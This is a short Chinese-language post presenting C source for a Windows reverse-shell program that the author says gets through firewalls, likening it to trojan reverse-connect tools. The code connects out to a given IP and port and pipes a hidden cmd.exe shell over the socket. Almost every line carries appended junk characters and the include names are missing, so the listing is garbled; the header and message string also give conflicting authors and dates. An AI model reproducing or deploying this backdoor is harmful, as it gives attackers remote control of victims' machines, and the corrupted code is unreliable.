这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VrudR#q
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/* ============================== ^|r`"gOJ3
Rebound port in Windows NT tRkrV]K
By wind,2006/7 zK,~ 37)\
===============================*/ "wF*O"WQo
#include Ag<4r
#include c.\:peDk
svF*@(-P#
#pragma comment(lib,"wsock32.lib") g8Ok ^
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void OutputShell(); -5o?#%
SOCKET sClient; +$'e4EwqV
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >[
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void main(int argc,char **argv) _pJX1_vD
{ FV`3,NFk
WSADATA stWsaData; X3<SP
int nRet; Yo>%s4_,
SOCKADDR_IN stSaiClient,stSaiServer; DCz\TwzU
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if(argc != 3) 3HXh6( e
{ ;U8dm"
printf("Useage:\n\rRebound DestIP DestPort\n"); YHJ'
return; 7eTA`@v5A
} ;.L!%$0i#
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WSAStartup(MAKEWORD(2,2),&stWsaData); 69N1 mP
)0'Y et}
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K~P76jAe$
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stSaiClient.sin_family = AF_INET; U9bFUK/z
stSaiClient.sin_port = htons(0); kVy"+ZebK
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FW/6{tm
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K,Lr+
{ oC5gME"2
printf("Bind Socket Failed!\n"); >qr=l,Hi
return; F>p%2II/
} [''=><
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stSaiServer.sin_family = AF_INET; Uy:@,DW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B[C7G7<B
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >:="?'N5l!
{ hLu&lY
printf("Connect Error!"); o,iS&U"TC
return; >6n@\n
} BASO$?jf4
OutputShell(); N)`tI0/W
} x*3@,GmZl
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void OutputShell() 4X<Oux*
{ FuIWiO(
char szBuff[1024]; Z#H@BWN7
SECURITY_ATTRIBUTES stSecurityAttributes; ,q{lYX83S
OSVERSIONINFO stOsversionInfo; 0%v ixR52
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QSO5 z2|
STARTUPINFO stStartupInfo; i(dXA(p
char *szShell; B(HNB\3u
PROCESS_INFORMATION stProcessInformation; CR} >
unsigned long lBytesRead; Yk(NZ3O
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); g`y/_
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fo/(()
stSecurityAttributes.lpSecurityDescriptor = 0; cuJ/ Vc
stSecurityAttributes.bInheritHandle = TRUE; ={e#lC
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fSm?27_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yTMGISX5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s2,`eV
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
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stStartupInfo.wShowWindow = SW_HIDE; Cf8R2(-4
stStartupInfo.hStdInput = hReadPipe; ?#');`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0~LnnDN
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GetVersionEx(&stOsversionInfo); wpPxEp/
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switch(stOsversionInfo.dwPlatformId) >rQ)|W=i
{ zwF7DnW<<
case 1: 4jI*Y6Wkz
szShell = "command.com"; Y+S~b
break; J\,@Bm|1n{
default: 7]0\[9DyJ
szShell = "cmd.exe"; 3@#,i<ge :
break; O;.d4pO(tC
} +#2@G}j
Fp* &os
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [NR0] #h
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send(sClient,szMsg,77,0); (rCPr,@0
while(1) e3bAT.P
{ oD|+X/FK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `jl. f
if(lBytesRead) {;wK,dU
{ Sxx.>gP"61
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FL*w(Br.
send(sClient,szBuff,lBytesRead,0); t2U]CI%
} Amq8q
else b]s%B.h
{ mSqk[Ig\
lBytesRead=recv(sClient,szBuff,1024,0); a|^-z|.
if(lBytesRead<=0) break; y0Q/B|&[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HEW9YC"
} VA*79I#_q
} zke~!"iq
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return; JhhT7\h(
}